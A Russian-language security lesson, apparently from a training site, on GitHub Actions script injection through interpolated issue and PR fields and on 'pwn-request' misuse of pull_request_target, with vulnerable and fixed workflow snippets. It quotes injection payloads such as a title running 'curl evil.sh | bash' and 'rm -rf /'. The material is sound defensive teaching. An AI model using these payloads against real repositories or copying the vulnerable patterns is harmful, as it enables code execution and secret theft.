open atlas
↑ К треку
CI/CD-пайплайны CICD · 10 · 03

Недоверенный ввод в CI: script injection через интерполяцию контекста и pwn-request на pull_request_target

Интерполяция атакующе-управляемого контекста вроде github.event.issue.title в run-шаг — это shell-инъекция. pull_request_target бежит с секретами и write-токеном — checkout PR head там и есть pwn-request.

CICD Senior ◷ 17 min
Уровень
ОсновыJuniorMiddleSenior

Воркфлоу «авто-лейбл» выглядел безобидно: на каждый новый issue эхо-ить заголовок в скрипт-генератор лейблов. Он бежал на событиях issues, так что имел токен репо, а прошлый рефакторинг тихо поднял этот токен до write. Тело одного шага было одной строкой — run: echo "New issue: ${{ github.event.issue.title }}". Атакующий открыл issue с заголовком "; curl -s evil.sh | bash #. GitHub не передаёт этот заголовок как аргумент шеллу — он текстово подставляет его в скрипт до того, как шелл парсит, так что раннер выполнил echo "New issue: "; curl -s evil.sh | bash #". Инъецированная команда бежала с окружением воркфлоу: GITHUB_TOKEN, каждым секретом, что видел job, и write-доступом к репо. Ни цепочки эксплойтов, ни zero-day — просто текст атакующего, дословно сброшенный в шелл, самая частая GitHub-Actions-уязвимость из существующих. Фикс был не в санитизации заголовка. Он был в том, чтобы вообще никогда не интерполировать недоверенный текст в тело run.

Script injection: ${{ ... }}, что бежит как код

GitHub Actions вычисляет выражения ${{ ... }} и подставляет результат в текст воркфлоу до того, как шелл раннера видит шаг. Для шага run: это значит, что выражение вклеивается в шелл-скрипт как сырой текст, затем шелл парсит всё целиком. Если значение выражения атакующе-управляемо, атакующий пишет шелл:

# УЯЗВИМО — заголовок текстово подставляется в скрипт
- run: echo "Issue: ${{ github.event.issue.title }}"

Заголовок issue вида $(curl evil.sh | bash) или "; rm -rf / # становится частью выполняемой команды. Опасные контексты — всё, что не-коллаборатор может задать: github.event.issue.title, .issue.body, .pull_request.title, .pull_request.body, .comment.body, .review.body, имена head-ref и веток, сообщения коммитов и имена авторов из PR. Ничему из этого нельзя доверять.

Фикс — разорвать путь подстановки-в-код: передай недоверенное значение через переменную окружения и ссылайся на неё с шелл-квотингом, чтобы это были данные, что шелл читает, никогда не текст, что шелл парсит:

# БЕЗОПАСНО — значение приходит как env-переменная; шелл никогда не парсит его как код
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "Issue: $TITLE"

Теперь $TITLE раскрывается шеллом как значение переменной; даже заголовок, полный $(...) и бэктиков, — инертная строка. Биндинг env: — это граница доверия: GitHub задаёт значение переменной out-of-band, а тело скрипта — фиксированное в момент авторинга — лишь ссылается на неё. (Квотируй: "$TITLE".) То же правило покрывает actions/github-script и JS: используй process.env.TITLE или context.payload, никогда не конкатенируй payload в вычисляемый код строкой.

Викторина

Почему интерполяция github.event.issue.title прямо в run echo позволяет выполнение команд, а передача заголовка через env-переменную и echo шелл-переменной — нет?

Pwn-request: pull_request_target плюс checkout PR

Если script injection — самая частая уязвимость в GitHub Actions, то pwn-request — самая тяжёлая: она даёт автору форка произвольное выполнение кода с секретами базового репо. Когда видишь pull_request_target в воркфлоу, это первый сигнал тревоги — и дизайн события, и его опасность определяются одним различием.

Есть два PR-триггерных события, и разница между ними — это вся уязвимость. pull_request из форка бежит с read-only токеном и без секретов — безопасно гонять недоверенный PR-код, ведь он ничего не может. pull_request_target бежит в контексте базового репозитория: он получает полные секреты и read/write GITHUB_TOKEN, и — критически — по дефолту чекаутит воркфлоу базовой ветки, а не PR-а. Это намеренно: позволяет CI форк-PR-а лейблить, комментить или применять автоматизацию с привилегиями, используя доверенный код воркфлоу базового репо.

Уязвимость — pwn-request — это checkout и запуск PR-кода внутри этого привилегированного события:

# УЯЗВИМО — pwn-request: недоверенный PR head бежит с секретами + write-токеном
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # код атакующего
      - run: npm install && npm test                        # гоняет его с полными секретами

npm install запускает lifecycle-скрипты; npm test запускает тест-файлы PR-а — всё авторства атакующего, теперь выполняемое с секретами базового репо и write-токеном. Атакующий открывает PR из форка, что добавляет вредоносный postinstall-скрипт, и тот эксфильтрует каждый секрет и пушит в репо. Комбинация — это ловушка: секреты и write-токен привилегированного события и checkout недоверенного кода в него.

Безопасные паттерны: делай привилегированную работу в pull_request_target лишь на доверенном, фиксированном коде воркфлоу (никогда не чекаутя PR head); или раздели — гоняй недоверенный build/test в job-е pull_request (без секретов), а отдельный, несущий-секреты job пусть действует по его результатам без выполнения PR-кода. Если обязан чекаутить PR head под pull_request_target, делай это без секретов в scope и без write-токена, считая его полностью враждебным.

Почему это работает

Зачем GitHub вообще предлагает pull_request_target, если он так опасен? Потому что он закрывает реальную нужду: форк-PR-ы из pull_request не получают секретов и read-only токен по дизайну, что значит, что CI форк-PR-а не может постить status-комментарий, применить лейбл или вызвать secret-gated API. pull_request_target существует, чтобы дать доверенной автоматизации базового репо реагировать на форк-PR с привилегиями — используя воркфлоу базовой ветки, что автор PR не может изменить. Опасность целиком в злоупотреблении: вытягивании собственного кода PR-а в этот привилегированный контекст. Используемый по дизайну — привилегированный доверенный код, никогда не недоверенный checkout — он безопасен; pwn-request — это анти-паттерн комбинирования его привилегий с тем самым недоверенным кодом, что он был призван держать на расстоянии вытянутой руки.

Викторина

Воркфлоу использует on: pull_request_target и чекаутит github.event.pull_request.head.sha, затем гоняет npm install. Почему это pwn-request, и какой минимальный верный фикс?

Вспомните перед уходом
  1. 01
    Объясни механизм script injection в GitHub Actions и env-фикс, и перечисли, какие контексты недоверенные.
  2. 02
    Что делает pull_request_target риском pwn-request, зачем он существует и как использовать его безопасно?
Итог

CI гоняет достижимый-атакующим ввод в привилегированном окружении, и два паттерна превращают это в выполнение кода. Script injection: GitHub подставляет выражения ${{ ... }} в текст воркфлоу до того, как шелл парсит run-шаг, так что любой атакующе-управляемый контекст — заголовки и тела issue и PR, тела комментариев и ревью, имена head-ref, сообщения коммитов PR и имена авторов — вклеенный в тело run, парсится как шелл, и заголовок вроде $(curl evil.sh | bash) выполняется с токеном и секретами job-а. Фикс не в санитизации строки; он в том, чтобы никогда не интерполировать её в код. Биндь значение к env-переменной и ссылайся на “$VAR”, чтобы шелл читал её как инертные данные, что он не репарсит. Pwn-request: pull_request_target бежит в контексте базового репо с полными секретами и read/write токеном и по дефолту чекаутит базовую ветку — он существует, чтобы доверенная база-автоматизация могла реагировать на форк-PR с привилегиями. Checkout PR head в это событие гоняет код атакующего (npm lifecycle-скрипты, тест-файлы) с этими привилегиями, эксфильтруя секреты и пуша в репо. Используй pull_request (без секретов, read-only) для недоверенного build и test; резервируй pull_request_target для доверенного фиксированного кода воркфлоу, что никогда не чекаутит PR head, или раздели на привилегированный job, что действует по результатам без выполнения PR-кода. Недоверенный ввод плюс привилегия — повторяющаяся форма; разорви путь от ввода к выполнению и держи секреты подальше от кода, что ты не писал. Теперь, когда ревьюишь воркфлоу, ищешь два признака: любой ${{ github.event.* }} прямо в теле run: (не внутри env:) и любой checkout head.sha внутри pull_request_target — любой из них — это находка.

Практика

Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.

вспомнитьприменитьуглубить0 из 5 завершено

Что-то непонятно?

Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.

хоткеи развернуть
поиск
K
пред. пьеса
k
след. пьеса
j
тиры
t
это меню
?
sources2
expand
  1. 01
  2. 02

Trademarks belong to their respective owners. Editorial reference only.